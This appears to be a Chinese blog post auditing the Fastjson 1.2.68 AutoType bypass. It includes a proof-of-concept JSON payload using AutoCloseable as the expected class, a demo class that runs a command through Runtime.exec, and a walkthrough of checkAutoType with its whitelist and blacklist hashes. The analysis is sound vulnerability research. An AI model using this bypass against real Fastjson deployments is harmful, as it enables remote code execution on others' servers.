Java代码审计之Fastjson1.2.68 AutoType绕过分析

Java代码审计之Fastjson 1.2.68 AutoType绕过分析

0x01 POC

POC

{"@type":"java.lang.AutoCloseable","@type":"com.DemoFastjson.Demo1_2_68.Test1","cmd":"open -a Calculator"}

Demo1_2_68.java


package com.DemoFastjson.Demo1_2_68;

import com.alibaba.fastjson.JSON;

public class Demo1_2_68 {
    public static void main(String[] args)
    {
        // 可以执行命令
        // https://www.cnblogs.com/ph4nt0mer/p/13065373.html
        String payload21 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.DemoFastjson.Demo1_2_68.Test1\",\"cmd\":\"open -a Calculator\"}";

        JSON.parse(payload21);


    }
}

Test1.java

package com.DemoFastjson.Demo1_2_68;

import java.io.IOException;

public class Test1 implements AutoCloseable{

    public Test1(String cmd){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
    public void close() throws Exception {

    }
}

0x02 关键知识点

各内置关键词

  • acceptHashCodes 白名单
  • INTERNAL_WHITELIST_HASHCODES 内部白名单
  • TypeUtils.mappings mappings缓存
  • deserializers.findClass 指定类
  • typeMapping.get 默认为空
  • JsonType 注解
  • exceptClass 存在期望类

期望类的功能主要是实现/继承了期望类的class能被反序列化出来且不受autotype影响,默认情况下exceptClass这个参数是空的,也就不存在期望类的特性,之后全局搜索checkAutoType的调用,且条件是exceptClass不为空的有JavaBeanDeserializer、ThrowableDeserializer

例如上述的例子代码中,AutoCloseable是期望类,Test1继承了期望类,所以能够将Test1类反序列化出来。

1.2.68的绕过主要靠的就是AutoCloseable类,fastjson没有为它指定特定的deserializer,因此会走到最后的else条件,创建对应的JavaBeanDeserializer。并且它是默认在mappings缓存中的,可以无条件反序列化。

0x03 分析

fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.java

如果key的值为@type时,就会进入到checkAutoType函数里。因为需要@type反序列化指定的任意类,所以poc中肯定含有@type,那么就要绕过checkAutoType函数的检验。

image-20220525155515021

可以看到即使AutoType关闭的情况下,也能通过checkAutoType函数获取到类。所以这就是为什么校验一直被绕过,主要是因为里面的逻辑被绕过。

image-20220525160011102

com/alibaba/fastjson/parser/ParserConfig.java

那么接下来开始分析checkAutoType函数。

checkAutoType主要有三个参数

  • String typeName 被序列化的类名
  • Class<?> expectClass 期望类
  • int features 配置的feature值

expectClass这个期望类,它的主要目的是为了让一些实现了typeName这个接口的类可以被反序列化。

image-20220525160225534

判断typeName是否为空,判断安全模式是否开启,判断typeName的长度是否过长或过短

image-20220525161030612

exceptClass的类型如果不为空并且不是如下类型,就设置expectClassFlagtrue。这里是重点!!!这个标志符后面会用到

黑名单类型如下

Object.class
Serializable.class
Cloneable.class
Closeable.class
EventListener.class
Iterable.class
Collection.class

image-20220525161353530

判断className是不是在内部白名单里,className的值是由typeName得到的。

内部白名单hash值

[-9013707057526259810, -8773806119481270567, -8421588593326113468, -8070393259084821111, -7858127399773263546, -7043543676283957292, -6976602508726000783, -6293031534589903644, -6081111809668363619, -5779433778261875721, -5399450433995651784, -4540135604787511831, -4207865850564917696, -3950343444501679205, -3714900953609113456, -3393714734093696063, -3378497329992063044, -2631228350337215662, -2551988546877734201, -2473987886800209058, -2265617974881722705, -1759511109484434299, -1477946458560579955, -816725787720647462, -520183782617964618, 59775428743665658, 484499585846206473, 532945107123976213, 711449177569584898, 829148494126372070, 956883420092542580, 1233162291719202522, 1696465274354442213, 1863557081881630420, 2238472697200138595, 2380202963256720577, 2643099543618286743, 2793877891138577121, 3804572268889088203, 4567982875926242015, 4784070066737926537, 4960004821520561233, 5348524593377618456, 5454920836284873808, 5695987590363189151, 6073645722991901167, 6114875255374330593, 6137737446243999215, 6160752908990493848, 6939315124833099497, 7048426940343117278, 7267793227937552092, 8331868837379820532, 8357451534615459155, 8890227807433646566, 9166532985682478006, 9215131087512669423]

image-20220525162305122

内部黑名单hash值默认为空

image-20220525162514305

下面是核心代码

如果(不在内部白名单里)并且(autoType开启 或者 预期类标志为True)时

如果在白名单中则直接加载类,如果在黑名单中则抛出异常。下面的黑名单可以过滤掉大部分的危险的链

image-20220525162744998

黑名单类

0 = -9164606388214699518
1 = -8720046426850100497
2 = -8649961213709896794
3 = -8165637398350707645
4 = -8109300701639721088
5 = -7966123100503199569
6 = -7921218830998286408
7 = -7775351613326101303
8 = -7768608037458185275
9 = -7766605818834748097
10 = -6835437086156813536
11 = -6316154655839304624
12 = -6179589609550493385
13 = -6025144546313590215
14 = -5939269048541779808
15 = -5885964883385605994
16 = -5764804792063216819
17 = -5472097725414717105
18 = -5194641081268104286
19 = -4837536971810737970
20 = -4608341446948126581
21 = -4438775680185074100
22 = -4082057040235125754
23 = -3975378478825053783
24 = -3935185854875733362
25 = -3319207949486691020
26 = -3077205613010077203
27 = -2825378362173150292
28 = -2439930098895578154
29 = -2378990704010641148
30 = -2364987994247679115
31 = -2262244760619952081
32 = -2192804397019347313
33 = -2095516571388852610
34 = -1872417015366588117
35 = -1650485814983027158
36 = -1589194880214235129
37 = -905177026366752536
38 = -831789045734283466
39 = -582813228520337988
40 = -254670111376247151
41 = -190281065685395680
42 = -26639035867733124
43 = -9822483067882491
44 = 4750336058574309
45 = 33238344207745342
46 = 218512992947536312
47 = 313864100207897507
48 = 386461436234701831
49 = 823641066473609950
50 = 1073634739308289776
51 = 1153291637701043748
52 = 1203232727967308606
53 = 1459860845934817624
54 = 1502845958873959152
55 = 1534439610567445754
56 = 1698504441317515818
57 = 1818089308493370394
58 = 2078113382421334967
59 = 2164696723069287854
60 = 2653453629929770569
61 = 2660670623866180977
62 = 2731823439467737506
63 = 2836431254737891113
64 = 3089451460101527857
65 = 3114862868117605599
66 = 3256258368248066264
67 = 3547627781654598988
68 = 3637939656440441093
69 = 3688179072722109200
70 = 3718352661124136681
71 = 3730752432285826863
72 = 3794316665763266033
73 = 4046190361520671643
74 = 4147696707147271408
75 = 4254584350247334433
76 = 4814658433570175913
77 = 4841947709850912914
78 = 4904007817188630457
79 = 5100336081510080343
80 = 5274044858141538265
81 = 5347909877633654828
82 = 5450448828334921485
83 = 5474268165959054640
84 = 5596129856135573697
85 = 5688200883751798389
86 = 5751393439502795295
87 = 5944107969236155580
88 = 6007332606592876737
89 = 6280357960959217660
90 = 6456855723474196908
91 = 6511035576063254270
92 = 6534946468240507089
93 = 6734240326434096246
94 = 6742705432718011780
95 = 6854854816081053523
96 = 7123326897294507060
97 = 7179336928365889465
98 = 7375862386996623731
99 = 7442624256860549330
100 = 7658177784286215602
101 = 8055461369741094911
102 = 8389032537095247355
103 = 8409640769019589119
104 = 8488266005336625107
105 = 8537233257283452655
106 = 8838294710098435315
107 = 9140390920032557669
108 = 9140416208800006522

尝试从各处获取class类,如果是内部白名单,则直接加载类

image-20220525165323133

TypeUtilsmappings

image-20220525165159074

缓存mappings里的类

"java.lang.IndexOutOfBoundsException" -> {Class@709} "class java.lang.IndexOutOfBoundsException"
"java.lang.Integer" -> {Class@258} "class java.lang.Integer"
"java.lang.NoSuchFieldException" -> {Class@718} "class java.lang.NoSuchFieldException"
"java.lang.Long" -> {Class@257} "class java.lang.Long"
"java.math.BigInteger" -> {Class@567} "class java.math.BigInteger"
"java.lang.LinkageError" -> {Class@311} "class java.lang.LinkageError"
"java.lang.StringIndexOutOfBoundsException" -> {Class@696} "class java.lang.StringIndexOutOfBoundsException"
"java.lang.StackOverflowError" -> {Class@306} "class java.lang.StackOverflowError"
"long" -> {Class@857} "long"
"java.lang.VerifyError" -> {Class@674} "class java.lang.VerifyError"
"java.util.LinkedHashMap" -> {Class@95} "class java.util.LinkedHashMap"
"java.util.Calendar" -> {Class@731} "class java.util.Calendar"
"java.lang.StackTraceElement" -> {Class@673} "class java.lang.StackTraceElement"
"[long" -> {Class@331} "class [J"
"java.lang.NoSuchMethodError" -> {Class@196} "class java.lang.NoSuchMethodError"
"java.util.concurrent.atomic.AtomicLong" -> {Class@103} "class java.util.concurrent.atomic.AtomicLong"
"java.util.TreeMap" -> {Class@676} "class java.util.TreeMap"
"java.util.Date" -> {Class@643} "class java.util.Date"
"java.lang.NoSuchFieldError" -> {Class@620} "class java.lang.NoSuchFieldError"
"java.util.concurrent.atomic.AtomicInteger" -> {Class@173} "class java.util.concurrent.atomic.AtomicInteger"
"java.lang.Short" -> {Class@354} "class java.lang.Short"
"java.util.Locale" -> {Class@40} "class java.util.Locale"
"java.lang.InstantiationException" -> {Class@722} "class java.lang.InstantiationException"
"java.lang.SecurityException" -> {Class@672} "class java.lang.SecurityException"
"java.sql.Timestamp" -> {Class@656} "class java.sql.Timestamp"
"java.util.concurrent.ConcurrentHashMap" -> {Class@36} "class java.util.concurrent.ConcurrentHashMap"
"java.util.UUID" -> {Class@708} "class java.util.UUID"
"java.lang.IllegalAccessError" -> {Class@717} "class java.lang.IllegalAccessError"
"com.alibaba.fastjson.JSONObject" -> {Class@583} "class com.alibaba.fastjson.JSONObject"
"[short" -> {Class@333} "class [S"
"java.util.HashSet" -> {Class@391} "class java.util.HashSet"
"[byte" -> {Class@334} "class [B"
"java.lang.Boolean" -> {Class@264} "class java.lang.Boolean"
"java.sql.Date" -> {Class@654} "class java.sql.Date"
"short" -> {Class@884} "short"
"java.lang.Object" -> {Class@330} "class java.lang.Object"
"java.util.BitSet" -> {Class@41} "class java.util.BitSet"
"[char" -> {Class@337} "class [C"
"java.lang.Float" -> {Class@261} "class java.lang.Float"
"java.math.BigDecimal" -> {Class@569} "class java.math.BigDecimal"
"java.lang.Character" -> {Class@263} "class java.lang.Character"
"java.lang.InternalError" -> {Class@340} "class java.lang.InternalError"
"[double" -> {Class@335} "class [D"
"byte" -> {Class@899} "byte"
"double" -> {Class@901} "double"
"java.lang.Exception" -> {Class@316} "class java.lang.Exception"
"java.lang.Double" -> {Class@260} "class java.lang.Double"
"[B" -> {Class@334} "class [B"
"java.lang.TypeNotPresentException" -> {Class@647} "class java.lang.TypeNotPresentException"
"[C" -> {Class@337} "class [C"
"[D" -> {Class@335} "class [D"
"java.text.SimpleDateFormat" -> {Class@721} "class java.text.SimpleDateFormat"
"[F" -> {Class@336} "class [F"
"[I" -> {Class@332} "class [I"
"java.util.TreeSet" -> {Class@652} "class java.util.TreeSet"
"[J" -> {Class@331} "class [J"
"java.util.ArrayList" -> {Class@215} "class java.util.ArrayList"
"java.lang.IllegalMonitorStateException" -> {Class@305} "class java.lang.IllegalMonitorStateException"
"com.alibaba.fastjson.JSONArray" -> {Class@723} "class com.alibaba.fastjson.JSONArray"
"[S" -> {Class@333} "class [S"
"java.lang.String" -> {Class@326} "class java.lang.String"
"java.lang.Number" -> {Class@262} "class java.lang.Number"
"java.util.LinkedHashSet" -> {Class@675} "class java.util.LinkedHashSet"
"[Z" -> {Class@338} "class [Z"
"java.lang.NegativeArraySizeException" -> {Class@724} "class java.lang.NegativeArraySizeException"
"java.lang.NumberFormatException" -> {Class@648} "class java.lang.NumberFormatException"
"java.lang.RuntimeException" -> {Class@315} "class java.lang.RuntimeException"
"char" -> {Class@925} "char"
"java.lang.OutOfMemoryError" -> {Class@307} "class java.lang.OutOfMemoryError"
"java.lang.IllegalStateException" -> {Class@614} "class java.lang.IllegalStateException"
"java.sql.Time" -> {Class@658} "class java.sql.Time"
"java.lang.NoSuchMethodException" -> {Class@683} "class java.lang.NoSuchMethodException"
"java.util.Collections$EmptyMap" -> {Class@208} "class java.util.Collections$EmptyMap"
"[boolean" -> {Class@338} "class [Z"
"float" -> {Class@935} "float"
"java.lang.AutoCloseable" -> {Class@275} "interface java.lang.AutoCloseable"
"java.lang.NullPointerException" -> {Class@250} "class java.lang.NullPointerException"
"java.lang.Byte" -> {Class@259} "class java.lang.Byte"
"[int" -> {Class@332} "class [I"
"com.alibaba.fastjson.JSONPObject" -> {Class@671} "class com.alibaba.fastjson.JSONPObject"
"java.lang.Cloneable" -> {Class@321} "interface java.lang.Cloneable"
"java.lang.IllegalAccessException" -> {Class@664} "class java.lang.IllegalAccessException"
"java.util.IdentityHashMap" -> {Class@720} "class java.util.IdentityHashMap"
"java.util.HashMap" -> {Class@192} "class java.util.HashMap"
"java.lang.NoClassDefFoundError" -> {Class@667} "class java.lang.NoClassDefFoundError"
"java.util.Hashtable" -> {Class@290} "class java.util.Hashtable"
"java.util.WeakHashMap" -> {Class@166} "class java.util.WeakHashMap"
"java.lang.IllegalThreadStateException" -> {Class@701} "class java.lang.IllegalThreadStateException"
"java.lang.IllegalArgumentException" -> {Class@73} "class java.lang.IllegalArgumentException"
"int" -> {Class@950} "int"
"java.util.concurrent.TimeUnit" -> {Class@397} "class java.util.concurrent.TimeUnit"
"boolean" -> {Class@953} "boolean"
"java.lang.InstantiationError" -> {Class@645} "class java.lang.InstantiationError"
"java.lang.InterruptedException" -> {Class@216} "class java.lang.InterruptedException"
"[float" -> {Class@336} "class [F"

image-20220525170049125

到这里,依然还没有出现SupportAutoType的校验,但已经可以返回类了。

然后进入到

fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.java

image-20220525170331080

fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/ParserConfig.java

image-20220525170413552

fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/ParserConfig.java

创建了JavaBeanDeserializer

image-20220525170503999

fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.java

image-20220525170801192

fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java

进入到JavaBeanDeserializer的checkAutoType

image-20220525170949996

此时的checkAutoType参数传递进了期望类

image-20220525171244691

前面的步骤都一致,因为这时候的期望类为AutoCloseable,所以即不为空,也不再黑名单里。所以将标志设置为True

image-20220525171353499

com.DemoFastjson.Demo1_2_68.Test1不在内部白名单里,所以不进入if条件里

image-20220525172121558

接下来就是判断要反序列化的类是否是危险的链,如果不在denyHashCodes黑名单里,则说明是安全的链,可以被反序列化

image-20220525173123382

上述证明了该类是安全的,于是通过下面的几种方式去寻找该类

image-20220525173305634

当autoType关闭的时候,也是去检测是否是在黑名单里。和上面的判断一样

image-20220525173753048

因为是期望类了,所以要去加载反序列化的类

image-20220525174209305

fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/util/TypeUtils.java

直接加载了本地的类

image-20220525174314360

此时clazz已经有值了

image-20220525174347656

判断是不是继承/实现了ClassLoaderDataSourceRowSet这些类,如果是的话则抛出异常。

image-20220525174520229

如果反序列化的类继承或者实现了期望类的话,那么就加入到缓存里,并且返回反序列化类

image-20220525174716535

成功返回指定的反序列化类

image-20220525174827611

fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/ParserConfig.java

image-20220525174909151

fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/ParserConfig.java

创建JavaBeanDeserializer

image-20220525174945542

fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java

反序列化

image-20220525175100121

fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java

进入到createInstance

image-20220525203429187

链路如下

createInstance:189, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:826, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:288, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:808, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:288, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:395, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1401, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:183, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parse:149, JSON (com.alibaba.fastjson)
main:20, Demo1_2_68 (com.DemoFastjson.Demo1_2_68)

0x03 参考链接

https://www.kingkk.com/2020/06/%E6%B5%85%E8%B0%88%E4%B8%8BFastjson%E7%9A%84autotype%E7%BB%95%E8%BF%87/
http://screwsec.com/2020/06/27/Fastjson-1.2.68-AutoType%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/
https://mp.weixin.qq.com/s/easeaxR2IJRyAzbqZBo2xg

   转载规则


《Java代码审计之Fastjson1.2.68 AutoType绕过分析》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。